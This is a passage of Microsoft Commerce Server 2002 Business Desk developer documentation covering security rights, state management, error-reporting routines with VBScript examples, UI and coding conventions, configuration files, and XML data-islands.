    Element. A security element is an instance of a security entity. For example, for the Business Desk Framework security entity "category", the corresponding elements are the categories that are actually defined in the module configuration files. Likewise with the security entity "module". The security elements for the security entities defined for each action page are the tasks for that action page, also derived from the module configuration files.

    Right. A security right is an action that can be allowed or denied for a particular security entity, and specifically, for the security elements associated with that entity. Typically, rights are defined as verbs, such as "read" or "edit", though the definition and semantics of rights is entirely specific to the entity for which they are defined.

    Deny. When using the BizDeskSecurity object, the "deny" setting is a tri-state value that is defined for each combination of SID, entity, element, and right. The value zero (0) means that users with the corresponding SID are allowed the type of access specified by the corresponding right to the corresponding element of the corresponding entity type. The value one (1) means that those users are denied that right to that element. The value two (2) means that access for those users for that right and element is inherited from other groups that may have been defined in that security module. In the Permissions module (and dialog box) user interface, "allow" and "deny" are represented by two individual checkboxes. The undefined state is represented by neither checkbox being checked.

Note

  • With the addition of the routines in ServerSecurityUil.asp, you can check security on the server befor serving a page. This can protect against URL spoofing. For more information, see Business Desk Reference.

Consider the following additional points when determining security requirements for a particular instance of Business Desk:

  • Most databases allow some type of security to be implemented at the level of the data fields. A new Business Desk module could be written such that it handled data protection at this level; however, the modules that ship with Microsoft Commerce Server 2002 do not implement this level of security, and would need to be modified to do so.
  • If the user connects to Business Desk from the Internet via an unauthenticated session, Internet Explorer prompts for the user name, password, and domain name in order to authenticate the user for the Business Desk application.
  • When the user is already logged onto the local network, an account context is implicit and that context is used for transparent validation of the authenticity of the user.


State Management

The Commerce Server Business Desk Framework maintains a client state dictionary that is used by modules to pass data between pages. Three client-side routines are provided for interacting with this dictionary. Use SetTemp (client-side) to store data, GetTemp (client-side) to retrieve data, and ClearTemp (client-side) to remove previously stored data. The data to be stored can be any variant type, including objects.

To keep this dictionary operating efficiently, care should be taken to clear values that no longer need to be stored in this dictionary.

All pages displayed within a particular instance of Business Desk share this dictionary, and there are no mechanisms to prevent one page from overwriting a value stored by another page. For this reason, you need to ensure that the dictionary key names that you use are unique and not used by another module. One common practice is to prefix all key names with the module name or some variation thereof.

One important use of the client state dictionary is when nested edit pages are being used. Often, the nested edit page needs to pass information back to the calling edit page. For example, this information might concern newly created objects or renamed objects. The nested edit page stores the relevant information in the client state dictionary, usually in the ONTASK routine associated with the Save task. The information can then be retrieved from the client state dictionary in the callback routine in the calling edit page.

Similarly, Business Desk also provides routines for storing state information on the server that can be accessed from client-side script. These routines convert a client-side Dictionary object into XML, use XMLHTTP to transfer it to the server, convert the XML back to a Dictionary object on the server, and then save it in the Session object. The reverse operation retrieves the saved state from client-side script. For more information about saving state information on the server, see dSetServerState (client-side), dGetServerState (client-side), and dClearServerState (client-side).

Modules can use cookies to save small amounts of state across calls to different pages. Use this state management method only when storing less than 100 bytes of data per action page.


Error Reporting

The Commerce Server Business Desk Framework provides error reporting routines for both client-side and server-side script. These routines fall into the following categories:

  • Formatting routines that are used to construct an HTML table that shows the details of one of several categories of errors.
  • A routine used to set error information in server code that will be displayed on the client when the task bar is inserted in the page.
  • Display routines that result in an error dialog box to be displayed to the Business Desk user.
  • A routine that is used to fetch friendly error strings based on a more terse error string ID.

This topic contains:

  • Server-Side Error Routines. Describes the routines supplied by the Framework for formatting and displaying errors within server-side script.
  • Client-Side Error Routines. Describes the routines supplied by the Framework for formatting and displaying errors within client-side script.
  • Error Routine Examples. Provides a number of examples, showing how the error reporting routines can be combined to report different types of errors.


Server-Side Error Routines

There are four server-side routines for formatting error details, one each for formatting the following types of errors: ADO errors, ASP errors, XML parsing errors, and VBScript errors. For more information about server-side error routines, see:

sGetADOError (server-side) | sGetScriptError (server-side)
sGetASPError (server-side) | sGetXMLError (server-side)

The routine SetError is provided for logging an error in server-side script for eventual display to the Business Desk user. The error information is stored in the ASP Session object and is automatically retrieved and displayed to the user the next time one of the taskbar routines (InsertTaskBar or InsertEditTaskBar) is invoked. For more information about the SetError routine, see SetError (server-side).

Server-side errors are also logged to the Windows NT Application Event Log under the Commerce Server 2002 source.

The routine sGetErrorById is provided to allow the error summary strings stored in the global MessageManager object to be retrieved based on more cryptic, non-localized identifier strings. For more information about the sGetErrorById routine, see sGetErrorById (server-side).


Client-Side Error Routines

There are two client-side routines for formatting error details, one for formatting the details of XML parsing errors, and one for formatting the details of VBScript errors. For more information about client-side error routines, see:

sGetScriptError (client-side) sGetXMLError (client-side)

The routine ShowErrorDialog is provided for displaying an error dialog box to the Business Desk user from client-side script. For more information about the ShowErrorDialog routine, see ShowErrorDlg (client-side).

The error dialog is displayed immediately, and is modal. The detail formatting routines are called within the parameter list of ShowErrorDialog, providing the detail string via their return value.


Error Routine Examples

The following examples show various ways in which the formatting and display routines can be combined to report different types of errors.

The following server-side example shows a call to SetError where the dialog box title is referenced through a localizable string constant, the summary string is looked up using sGetErrorById, and the error details are retrieved using the ASP getLastError method. This example displays an error dialog box with the critical icon.

The call to InsertTaskBar following the call to SetError results in a call to the client-side routine ShowErrorDialog, passing the SetError parameters that were temporarily stored in the Session object.

<%
Call SetError(L_ASP_ERROR_TITLE, _
              SGetErrorById("CS4ERR_ASP_ERROR"), _
              sGetASPError(Server.getLastError), _
              ERROR_ICON_CRITICAL)

Call InsertTaskBar(L_PAGETITLE_TEXT, L_STATUS_TEXT)
%>

The following client-side example shows a call to ShowErrorDialog where the dialog box title and summary strings are referenced through localizable string constants and the error details are contained in the Visual Basic global Err object. This example displays an error dialog box with the question icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_VB_SCRIPT_ERROR_TITLE, _
                     L_VB_SCRIPT_ERROR_MESSAGE, _
                     sGetScriptError(Err), _
                     ERROR_ICON_QUESTION)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog where the dialog box title and summary strings are referenced through localizable string constants and the error details are retrieved using the XML Document Object Model (DOM) parseError method (assumes a reference to an XML document is contained in the variable xmlDoc). This example displays an error dialog box with the critical icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_XML_PARSE_ERROR_TITLE, _
                     L_XML_PARSE_ERROR_MESSAGE, _
                     sGetXMLError(xmlDoc.parseError), _
                     ERROR_ICON_CRITICAL)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog where the dialog box title is referenced through a localizable string constant, the summary string is looked up in server-side script, and the error details are retrieved in server-side script using the ASP getLastError method. This example displays an error dialog box with the alert icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_ASP_ERROR_TITLE, _
                     "<%= sGetErrorById("CS4ERR_ASP_ERROR") %>", _
                     "<%= sGetASPError(Server.getLastError()) %>", _
                     ERROR_ICON_ALERT)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog where the dialog box title and summary strings are referenced through localizable string constants and the error details are retrieved in server-side script using the first error object in the errors collection of an Active Data Objects (ADO) Connection object (assumes a reference to an ADO Connection object is contained in the variable oConn, and that that object contains at least one valid error object). This example displays an error dialog box with the information icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_ADO_ERROR_TITLE, _
                     L_ADO_ERROR_MESSAGE, _
                     "<%= sGetADOError(oConn.errors.error(0)) %>", _
                     ERROR_ICON_INFORMATION)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog that displays a dialog box with the default title, summary string, and icon. No details button appears in the dialog box.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog("", "", "", "")
</SCRIPT>


Online Help

Every action page specified in a module configuration file must specify an associated help file. Specifically, the action element is required to include the helptopic attribute, the value of which specifies the pathless name of an HTML file that is meant to contain help for that action. Such help files must be placed in the Help folder within the root folder of Commerce Server Business Desk.

When a Business Desk user clicks the Help task, the Business Desk Framework looks up the help file associated with the current task and displays it in a separate help window. If the helptopic attribute contains an empty string then the general Business Desk help page is displayed.


Business Desk Conventions

The Commerce Server Business Desk modules that ship with Microsoft Commerce Server 2002 were developed taking into account established standards for Microsoft Windows applications and defacto standards for Web applications. The goal was to improve both the usability of the Business Desk application and the maintainability of the Business Desk code base. Usability is improved because adherence to the standards tends to increase the consistency between modules developed by different individuals or organizations. Maintainability is improved because the code base is more consistent, allowing new developers to more quickly understand and more successfully modify the code that implements Business Desk.

The topics in this section serve two purposes. First, once developers of new Business Desk modules have learned the standards used, the more easily they will be able to comprehend the Business Desk source code and use it in their new modules, both in terms of invoking Framework functions and in terms of re-using sections of existing code.

Second, to the degree that developers adopt and apply these standards in their own modules, Business Desk usability and maintainability is preserved, benefiting the business managers using it to maintain their Web sites, and any new developers that must learn the now-extended code base to perform future maintenance.

This section contains:

  • Coding Practices. Describes the coding practices used in the Business Desk Framework and module code.
  • Fonts and Color Scheme. Describes the default Business Desk color scheme and the justification behind it. Includes information on how to modify the color scheme.
  • Icons. Describes the icon scheme used in Business Desk. Also provides information about when and how to use various icons.
  • Accessibility. Describes accessibility practices employed in Business Desk. Provides an accessibility checklist for use in module development.
  • Localization. Describes how to make the process of localizing a Business Desk module as easy as possible.
  • Title Bar. Describes the conventions adopted for the text shown in the title bar.
  • Task Bar. Describes the conventions adopted by existing Business Desk modules with respect to the taskbar.
  • ListSheets. Describes standards established for ListSheet HTCs.
  • EditFields. Describes standards established for EditField HTCs.
  • Find Pane. Describes standards established for the find pane.
  • Modal Dialog Boxes. Describes standards established for modal dialog boxes employed by both Business Desk modules and the Framework itself.
  • Confirmation, Warning, and Error Dialogs. Describes the standards adopted with regard to confirmation messages.
  • Asynchronous Behavior. Describes various aspects of how asynchronous behavior is implemented within Business Desk, allowing new modules to successfully integrate with those mechanisms.
  • Business Desk Error Messages. Describes the standards adopted with regard to error messages.
  • Status Messages. Describes the standards adopted with regard to status messages.
  • Links Between Modules. Describes the conventions adopted with regard to direct linking between actions that belong to different modules.
  • Help Topics. Describes the behavior of the online Help system built into Business Desk. Information about how to develop Help topics for new modules as well as information about how such help can be integrated into the existing system is provided.


Coding Practices

The following list summarizes the coding standards observed during the development of Commerce Server Business Desk.

  • Follow Hungarian naming conventions for variables.
  • Follow file naming conventions.
  • Provide clear and complete comments in the code.
  • Keep use of included files to a minimum.
  • Validate all HTML using an HTML validation tool.
  • Make sure all HTML element IDs are unique and are all in lowercase.
  • Establish some common page characteristics by including the file BDHeader.asp.
  • Specify "Option explicit" at the beginning of each client script block.
  • Use "Request.Querystring" and "Request.Form", as appropriate.
  • Specify ByRef and ByVal explicitly in VBScript function definitions.
  • Keep the number of queries per page to a minimum.
  • Use symbolic constants for clarity.
  • Specify the scripting language per page (ASP) and per element (DHTML).
  • Capitalize all HTML element names and attributes, and all constant names.
  • Use lowercase or mixed case for scripting code.
  • Use a main function for each page to keep use of page globals and script executed inline to a minimum.


Fonts and Color Scheme

The fonts and color scheme used by Commerce Server Business Desk are defined within a customizable style sheet (CSS), allowing centralized modification of these aspects of the Business Desk look and feel. The name of the main CSS file is Bizdesk.css and it is located in the Include folder within the root folder of Business Desk.

There is a separate CSS file for the navigation pane, named Navtree.css.

For the sake of consistency, new modules should adopt the fonts and color scheme defined in the file Bizdesk.css so that any subsequent changes are applied consistently throughout Business Desk.

For detailed information about the CSS file used by Business Desk, see Style Sheet Reference.


Icons

Every action page specified in a module configuration file has a number of tasks associated with it. Given this specification the Commerce Server Business Desk Framework can assemble and display the appropriate taskbar (also known as a toolbar in the Business Desk help). The most prominent visual aspects of the taskbar are the icons that represent the different possible tasks. These icons are specified in the module configuration files as the value of the icon attribute of the task element. The value to be specified is the pathless name of a file, typically a GIF file, located in the Assets folder under the Business Desk root folder.

The Assets folder contains a fairly large set of pre-defined icon files used by existing modules and available for use in new modules. Most of these files are intended for representing tasks that lead to a single subsequent page. The names of the icon files associated with tasks have the form taskTYPE.gif, where TYPE is a short string that describes the associated task. For example, the icon file associated with the export task is named taskExport.gif.

In addition, there are a few icons intended for use in tasks for which multiple choices are offered. These choices are offered in the form of a menu that drops down from the task button when it is clicked. These icons all include a small down-arrow to inform the user that a menu offers further choices. The names of this type of icon file has the form taskTYPEMenu.gif, where TYPE describes the associated task. For example, the icon file associated with the new menu (task) is named taskNewMenu.gif.

Note

  • There is only one icon file per task, and the look of the different button states (enabled versus disabled versus clicked) is controlled by the Framework and the customizable style sheet (CSS).

In addition to the pre-defined icon files, you can place new icon files in the Assets folder and then refer to them in new module configuration files. However, for the sake of consistency, you should use one of the pre-defined icons wherever applicable.

If you need to create new icons, the size of task icons is 22 pixels tall by 23 pixels wide. The size of task menu icons is 22 pixels tall by 33 pixels wide.

There are other icons in the Assets folder that are not used directly by module developers. These include the icons used in error dialog boxes, which correspond to errors of different levels of severity, the icons used to indicate invalid and required input, and the animation icon displayed while a page is loading.


Accessibility

Commerce Server Business Desk Framework and modules have followed certain guidelines to help assure that Business Desk will be accessible to users with disabilities. To maintain consistency with the Framework and existing modules, new modules must follow the accessibility guidelines for Web applications. For more information about accessibility guidelines, see http://go.microsoft.com/fwlink/?LinkId=6683.

Some examples of these guidelines are:

  • The Business Desk must function properly with graphics turned off in the browser.
  • The Business Desk must continue to function properly when custom fonts and font sizes are configured in Internet Explorer.

The following additional design considerations should also be observed:

  • Color should never be the only visual clue.
  • Subtle use of color should be avoided. High contrast is more accessible.
  • Provide keyboard options, including those such as the tab key for navigating to different fields on a page. All visual elements on the page should be included in the tab order.
  • Avoid horizontal scrolling wherever possible.
  • Accommodate screen readers wherever possible. This means that tables and graphics should have associated text that explains their purpose and provides some level of detail about their contents.


Localization

The Commerce Server Business Desk Framework and the Business Desk modules that are delivered with Commerce Server 2002 have been developed in a way that helps to minimize the cost of translating Business Desk into foreign languages. Depending on the circumstances in which a new Business Desk module is being developed, it might be wise for you to adopt the same general guidelines followed by Microsoft developers.

The following list enumerates these guidelines:

  • Navigation should tend to be located at the left and top of the page.
  • Horizontal groupings of controls (other than task buttons) should be avoided so that the typical expansion associated with localization does not disrupt the display.
  • The proper codepage and response charset should be specified in two specific Business Desk include files that are included by all pages. Normal module pages that display HTML in the content pane should be modified to use the proper codepage in the include file BDHeader.asp. Module fetch pages, which are designed to return nothing except XML, should be modified to use the proper codepage in the include file BDXMLHeader.asp.
  • Each module should have a file called "<ModuleName>Strings.asp" in which localizable strings are defined as VB Script constants. Any action page that needs to display one of these strings should include the file and reference the string using its constant name. Hard coded strings should be avoided.
  • Building strings from sub-strings should be avoided because the subject/verb/object order can vary from language to language. Where appropriate, the framework routine sFormatString should be used to ease localization efforts.
  • Allow extra space in forms for the string expansion that typically occurs during localization.
  • Do not use images with text in them.
  • Do not display SQL column names, which will not be localized, on an action page. Other mechanisms exist for supplying display names.
  • Do not display partial file names as part of other messages.


Title Bar

The title bar is used to display information about the current module and action page. Title bar text should use the following format:

Module Title - [action] [option]


Task Bar

Task bar conventions fall into two categories:

  • Conventions for the left-to-right ordering of the task buttons.
  • Conventions and mechanisms for handling the enabled/disabled state of the different types of tasks.

Task Button Order

On List Pages, tasks should be ordered in the taskbar in the following order, starting from the left:

  1. Individual item tasks that do not require selection. For example, View, New, and Compose.
  2. Individual item tasks that do require selection. For example, "Open", "Run", "Preview", and "ViewDetails". Paired tasks also belong in this category. For example, "Delete/Restore" and "Archive/Unarchive".
  3. Tasks that operate on the entire list. For example, "Publish", "Refresh", and "Find".
    • When in doubt, use the modules delivered with Commerce Server as examples.

On Edit Pages, order tasks as follows:

[Back] [SaveBack] [Save] [SaveNew]

Enabling and Disabling Tasks

The New and Find tasks are automatically enabled by the Framework routine OnLoad. When a New task menu is used, the individual menu items must be enabled and disabled by the module page.

The Save and SaveNew tasks are automatically managed by the Framework so long as there is one top level (master) EditSheet HTC that has the OnChange, OnRequire, and OnValid events handled by the SetDirty, SetRequire, and SetValid methods, respectively. In general, the Save and SaveNew tasks should only be enabled when something has been changed and there is no missing required data and no invalid data.

Tasks must be re-enabled after an OnTask routine has been cancelled and the form is not submitted.

The Open, Copy, and Delete tasks should only be enabled when item(s) that support the respective operation are selected. Other tasks that depend on an item being selected should behave in the same way.

The Back task on Edit Pages is always enabled by the Framework.

Tasks that are always available should be enabled in the OnLoad routine and whenever an OnTask routine does not submit the form.


ListSheets

New modules that use ListSheet HTCs in their list pages should conform to the following guidelines:

  • ListSheets containing only one column should not allow sorting (sort='no') since the order would not change.
  • ListSheets that are showing a filtered view of the list based on criteria provided in the find pane should have the following label (placed above the ListSheet in question) to remind the user that they are viewing a filtered list:

    Filtered View (use the Find command to modify the filter criteria)

    A tooltip should be provided for this label. The tooltip should show the criteria upon which the filtered list is based.


EditFields

New modules that use EditField HTCs panes in their list pages should conform to the following guidelines:

  • Editfield input prompts should use the defaults for the field type unless the default prompt is ambiguous or does not convey enough information. For example, a name field with the default "enter text" prompt may be fine, but a password field or a field meant to contain an email address should probably be more specific.
  • Required fields will be indicated with a small red diamond to their left. This is the primary method available for teaching users about which fields are required and which are not.


Find Pane

New modules that use find panes in their list pages should conform to the following guidelines:

  • If a list page starts out with an empty list, the find pane should be initially showing. This most often occurs when showing the entire list by default is not practical due to its size. For more information about showing the find pane, see ShowFindBy (client-side).
  • If a list pages starts out with data displayed in its list, the find pane should be initially hidden. For more information about hiding the find pane, see HideFindBy (client-side).
  • Find pane field prompts should use the defaults for the field type unless the default prompt is ambiguous or does not convey enough information. For example, a name field with the default "enter text" prompt may be fine, but a password field or a field meant to contain an email address should probably be more specific.

    In the case of a drop down list, use the default prompt, or provide a default selection to avoid showing a prompt at all.

  • In find pane fields that support the use of wildcard characters, include a line at the bottom to indicate this fact, phrased as follows:

    Wildcard characters (*) can be used in the <field name> field

  • If a find pane has multiple groups of find fields, each displayed or hidden based on some selection control, it should usually have a Find All button for easy access to the data. The Find All should be the default, until changed by the user. Note that sometimes the sheer size of the list prevents the Find All button from being feasible.
  • If a find pane has just one group of find fields, such that any of the properties may be changed but none of them are ever hidden, the default values in those fields should be the most common ones, yielding the result most likely to be useful to the user.
  • In situations where the find pane presents a large number of options, a Reset button should be included, so that the find criteria can easily be restored to its original state.


Modal Dialog Boxes

In Commerce Server Business Desk, modal dialog boxes are used to offer one or more choices to the user. One use of modal dialog boxes is when transitioning from one page to another, or between different tasks on the same page. Depending on the choice(s) made, the user may be shown different subsequent pages, or default values may be provided in a different way.

If a simple choice needs to be made when clicking on a task button, it is preferable to use task menus rather than displaying a modal dialog box. For more information about task menus, see Task Buttons and Menus.

It is not possible to anticipate all situations in which a Business Desk module might appropriately use a modal dialog box. An alternative is to familiarize yourself with the use of modal dialog boxes in the modules that ship with Commerce Server 2002 and follow their lead.

To promote consistency, modal dialog boxes created for new modules should follow the same conventions used by the modal dialog boxes in existing modules, as follows:

  • The background color for all modal dialog boxes should be the same color as used for the background of Business Desk itself. This should occur automatically when the Business Desk customizable style sheet (CSS) is used.
  • The font for all text in modal dialog boxes is 8 pt. Verdana.
  • All buttons along the bottom of the dialog should be right-justified by including them in a table with a wide far-left cell and follow the normal order of such buttons in Win32 applications:
    <table width=100%><tr>
<td width=100%></td>
<td><button…><button…><button…></td>
</tr></table>


Confirmation, Warning, and Error Dialogs

Confirmation, warning, and error dialogs should conform to the following conventions:

  • All warning messages should be displayed in a message box with the title text set to "Warning". The only button should be the OK button (vbOKOnly).
  • All field validation errors should be displayed in a message box with the title text set to "Validation error". The only button should be the OK button (vbOKOnly).
  • Cross-field validation should usually be done using the onChange event for all fields involved. For example, if you want an end date to always be after a start date, then you should add an onChange event handler to both fields that checks that both fields are valid and that this condition exists; if not, you should display a message box as described above.
  • Any errors other than field validation should be displayed using the ShowErrorDlg routine. Server-side errors can be saved for display on the next page by calling SetError routine. For more information about these routines, see ShowErrorDlg (client-side) and SetError (server-side).
  • Delete confirmation dialogs should be displayed in a message box with the title text set to "Delete?". The dialog should use Yes and No buttons (vbYesNo). Confirmation dialogs for Restore or other similar operations should be handled in the same way.
  • The file SharedStrings.asp defines a number of string constants meant for use in these types of dialogs.
  • To promote a consistent user interface for simple confirmation, warning, and error dialogs, use the ASP files dlg_confirm.asp, dlg_warn.asp, and dlg_error.asp, respectively, as the first argument to the showModalDialog routine.

    These files are located in the Include folder. See the file ActionPageUtil.asp for examples.

Properly built Edit Pages allow the Framework to handle the enable/disable state of the Save and SaveNew tasks as well as Save confirmation and warning dialogs. The following practices must be observed to obtain this behavior:

  • Use one master EditSheet HTC to contain all editing controls on the page.
  • Associate the following handlers with the master EditSheet HTC events:
    • The SetDirty method with the onChange event,
    • The SetRequired method with the onRequire event, and,
    • The SetValid method with the onValid event.

    If additional functionality is required, make sure you call one of these routines, as appropriate, in your event handler.

  • If nested EditSheet HTCs on the page use the template mechanism for freeform layout, make sure to register the IDs of any HTCs within the template in the register attribute of the template element.
  • HTML checkbox and radio button elements need special handling because they do not fire the onChange event. This means that they cannot be registered using the register attribute of the template element. For HTML checkbox and radio button elements, explicitly call the SetDirty method as the onClick handler for each element.
  • When the Edit Page is properly constructed, the Save and SaveNew buttons will not be enabled unless changes have been made to the page, all fields are valid, and no required fields are missing. Note that any special cross-field validation must be done separately.


Asynchronous Behavior

Commerce Server Business Desk modules should not leave the user wondering whether Business Desk is still working or not. This means that operations that take a long time to complete should be performed asynchronously, with some feedback provided to the user indicating that the operation has been started and is being performed.

Any operation that could take more than 10 seconds to complete should provide an intermediate page with the status message: "Loading... Please wait." This is automatically displayed when initially loading a page and when a ListSheet HTC is executing a fetch operation via XMLHTTP.

Operations that could take in excess of one minute to complete, such as importing or exporting a catalog, or generating reports, should be designed in a truly asynchronous fashion. They should run on the server in a separate process, allowing the Business Desk user to perform other tasks in the meantime. The user should be informed that processing has begun, and there should be a page where the user can view the completion status of all such long-running operations.


Business Desk Error Messages

Commerce Server Business Desk uses a centralized set of friendly error messages for use by all Business Desk modules. These error messages are used for errors encountered within the Business Desk module code, and not in response to HTTP errors. Typically, modules also define their own, unique error messages for use where no shared friendly error message will suffice.

Friendly error messages are passed to the routines SetError and ShowErrorDlg as a text string (in the strFriendlyError parameter).

Server-side friendly error messages are available through a MessageManager object, initialized on application start-up (Global.asa), and then placed in the Application object. Client-side friendly error messages are available through the XML Document Object Model (DOM), added to it when the Business Desk Framework initializes. Using these mechanisms, all module writers have access to the same set of shared error messages.

In addition to both centralized and private friendly error messages, the routine that displays errors can also include detailed information. The detailed information is initially hidden in the error dialog box, but can be shown by clicking the Details button.

Detailed error information is passed to the routines SetError and ShowErrorDlg as a string containing pre-formatted HTML (in the strErrorDetails parameter). If the strErrorDetails parameter is found to be empty, then no Details button is displayed in the dialog box.

The HTML formatting typically specifies a small table with two columns containing a name and value, respectively.

There are a number of client-side and server-side error formatting routines, designed to translate a variety of error objects into a corresponding HTML table. For example, the sGetScriptError client-side routine formats the contents of the global VBScript Err object into an HTML table, and returns it as a string.

The Business Desk Framework provides the following two client-side and four server-side error formatting routines, useful for formatting ADO, ASP, VBScript, and XML Parse errors.

Server-side error formatting routines:

sGetADOError (server-side) | sGetScriptError (server-side)
sGetASPError (server-side) | sGetXMLError (server-side)

Client-side error formatting routines:

sGetScriptError (client-side) sGetXMLError (client-side)

The server-side routine SetError caches its parameters in the Session object, where they are displayed on the client the next time one of the taskbar insertion routines is called. The SetError routine also appends the error to the Microsoft Windows NT Event Log.

Business Desk handles HTTP errors differently, displaying a custom error page. This page contains the original Internet Information Services (IIS) error text, but it is presented in a page that is branded with a Business Desk image. By default, all HTTP "page not found" and "access denied" errors reported by IIS are handled in this standard way.

HTCs gracefully handle XML configuration inputs with missing attributes or tags. If an HTC encounters an error when initializing due to malformed XML, the control will not display and a standard message stating "The control could not load. Please contact your system administrator" will be displayed in a standard message box. There will also be a button that allows the user to see the details of the XML error that caused the control failure.

Data validation error checking is typically performed, and appropriate errors displayed, within the HTCs being used to edit the data. Additional validation error messages, such as for cross-field validation, should display using the standard MsgBox function in the Internet Explorer Document Object Model (DOM).

The ListSheet HTC expects errors returned from fetch pages to be encoded in error nodes by the AddErrorNode routine in the file HTTPXMLUtil.asp. The ListSheet HTC will then automatically display these errors in a dialog.


Status Messages

Status messages should conform to the following guidelines:

Selection:

  • When a single item is selected in a list, the status text should read:

    Selected itemtype: itemname

  • When multiple items are selected, the status text should read:

    number selected

  • When the Select All button is used, the status should read:

    All items in all pages are selected

  • When the last selected item is unselected, the status text should read:

    No items selected

Find:

  • When no items are found, the status text should read:

    No items found

  • When one item is found, the status text should read:

    1 item found

  • When a known number of multiple items are found, the status text should read:

    number items found

Delete:

  • When a single item is successfully deleted, the status text should read:

    Deleted itemtype: itemname

  • When multiple items are successfully deleted, the status text should read:

    number items deleted

  • When a single item is not successfully deleted, the status text should read:

    Unable to delete: itemname

  • When multiple items are not successfully deleted, the status text should read:

    Unable to delete number items

For other operations that result in the re-display of a list, status text similar to that used for Delete operations should be used. Examples of such operations include: import, export, and restore.


Links Between Modules

In general, if one module contains a direct link to another module, it should be implemented through a task button. For example, there is a task button in the Campaign Manager that links to the analysis reports.


Help Topics

To specify a help topic for a particular action page with a module, provide the name of the HTML file containing the help topic as the value of the helptopic attribute of the appropriate action element in the appropriate module configuration file. This file must exist in the docs/htm folder.

When new help topics are added to the docs/htm folder, you can also add corresponding entries to the file Bizdesk.hhc in the docs folder. This will allow the new topics to appear in a particular location within the help system table of contents. Any new index entries related to the new topics can be added to the file Bizdesk.hhc, located in the same folder.

Note

  • Extreme care should be used when making additions to the .hhc and .hhk files so that the existing table of contents and index entries are not disturbed.

Dialog boxes can also have help displayed from a button to the right of the OK and Cancel buttons. When this button is clicked, call the OpenHelp routine with the name of the HTML file containing the help topic in question. This file must exist in the docs/htm folder.


Business Desk Configuration

Different instances of Commerce Server Business Desk can be configured to contain different categories and modules. This configuration is accomplished using a distinct set of XML files for each Business Desk instance. This set of files is comprised of a single master configuration file, named BizDesk.xml, and a series of module configuration files, whose names are variable but refer to the particular module or category with which they are associated. The XML in these two types of files is combined to create a particular configuration using moduleconfig elements in the master configuration file, each of which specifies a distinct module configuration file.

Multiple modules can be defined in a single module configuration file, or each module can be defined in its own module configuration file, or some combination thereof.

The order of category definition in the master configuration file, the order of module definition with a module configuration file, and the order in which module configuration files are defined as belonging to a particular category, define the order in which categories and modules appear in the navigation pane.

All of the configuration files for a particular site, both master and module configuration files, are located in the Config folder under the root folder of the site.

When the Business Desk application loads, it creates a Dictionary object structure that merges the information in the master configuration file and all associated module configuration files, and stores this structure in the Application object. Then, for each particular Business Desk session, this structure is filtered based on the role defined for the current user, creating a custom Business Desk navigation tree for that role.

Note

  • Any manual changes to the master and module configuration files are not reflected in Business Desk until Internet Information Services (IIS) is reset or the Business Desk application is otherwise restarted.

A detailed explanation of the structures of the master and module configuration files is provided in the following XML reference topics:

  • Master Configuration File
  • Module Configuration Files


Data Manipulation in Business Desk

Commerce Server Business Desk is a data-driven application that serves as a management interface for data-driven Web sites. It provides an easy to use mechanism for examining and modifying the various items of data displayed as the content of the Web site pages viewed by Web site users. This data is usually stored in Microsoft SQL Server 2000 databases and the Active Directory directory, though it is possible for the data to exist in other types of databases.

Another important aspect of Business Desk is its reliance on Dynamic HTML (DHTML) and HTML Components (HTCs). These technologies allow for more interactivity within the Web browser itself than has been typical of Web applications, dramatically reducing the number of server roundtrips required to manipulate data in powerful ways. The data to be manipulated is delivered to the Web browser within the page itself; it is passed to the Web browser in a form known as an XML data-island.

An XML data-island is a well-formed segment of XML contained within an xml element and identified by the value associated with the id attribute of that element. The data itself is represented within the XML structure. The structure of the XML is limited only by the rules of XML syntax and the conventions adopted by the script code that is designed to access it. The data is accessed using the normal mechanisms of the Document Object Model (DOM). Such access occurs within the various HTCs that are part of the Business Desk Framework, and can also occur in client-side script on the Web page itself.

The purpose of this section is to describe the typical mechanisms employed by various Business Desk modules to allow Business Desk users to alter the Web site while minimizing the server roundtrips often associated with poor performance in Web applications. The basic steps required to provide this functionality are:

  1. ASP code on a Business Desk module Web page retrieves the data from the database, typically using Active Data Objects (ADO).
  2. ASP code on the page converts a Recordset object returned by ADO into an XML data-island using one of several framework routines.
  3. Microsoft Internet Explorer 5.5 downloads the page, which now contains the XML data-islands and elements with styles linking them to the corresponding HTCs. All the edit type HTCs with the exception of the ExpressionBuilder, ListEditor and DynamicTable include form elements that will automatically be posted with an enclosing form.
  4. The HTCs execute within Internet Explorer 5.5, using the included XML data-islands as the source of configuration information and the data to be displayed.
  5. The user makes changes to the data, eventually requesting that those changes be saved.
  6. The changes are posted back to a Business Desk module Web page using an HTML form. This page converts the posted changes into the appropriate ADO Recordset object format, and then uses ADO to update the database with those changes.

The remainder of this section consists of topics discussing each of these main aspects of data manipulation.

This section contains:

  • XML Data-Islands. Describes how XML data-islands on the ASP pages are used to pass data to the HTCs, and specifically describes the different ways in which XML data-islands can be created.
  • Data versus Meta-data. Describes the difference between data and meta-data in the context of Business Desk, and particularly in the context of the HTCs provided by the Business Desk Framework.
  • Retrieving Data. Describes typical mechanisms for accessing databases from server-side script.
  • Getting Data to the Client. Describes how the Recordset objects returned by ADO are converted to XML data-islands on the page being downloaded to the Web browser.
  • XML Data Merging. Describes how some XML data-islands can be merged for use in the more complex forms of the ListSheet HTC.
  • XMLHTTP Operations and Fetch Pages. Describes special mechanisms used by the ListSheet and TreeView HTCs for retrieving new data from the server without needing to be reloaded in the browser.
  • Data Validation. Describes the data validation techniques employed within both client-side and server-side scripts.
  • Saving Changes to Data. Describes how the data representing modified records is returned to the server and persisted back to the databases from which it originated.


XML Data-Islands

XML data-islands are used to pass data to the HTML Components (HTCs) used on many of the ASP pages in Commerce Server Business Desk. An XML data-island is data, described in XML, that is accessed through an id attribute associated with one of two different elements (xml and script) that might be contained in the ASP page. The data itself often exists in the ASP pages themselves, but need not.

An XML data-island can exist in an ASP page, either hard-coded or generated programmatically using ASP script, using one of the following three tagging mechanisms:

  • Within an xml element:
    <xml id='DataIslandID'>
    data-island XML can go here
</xml>
  • Within a script element that includes the type attribute with the value "text/xml":
    <script type='text/xml' id='DataIslandID'>
    data-island XML can go here
</script>
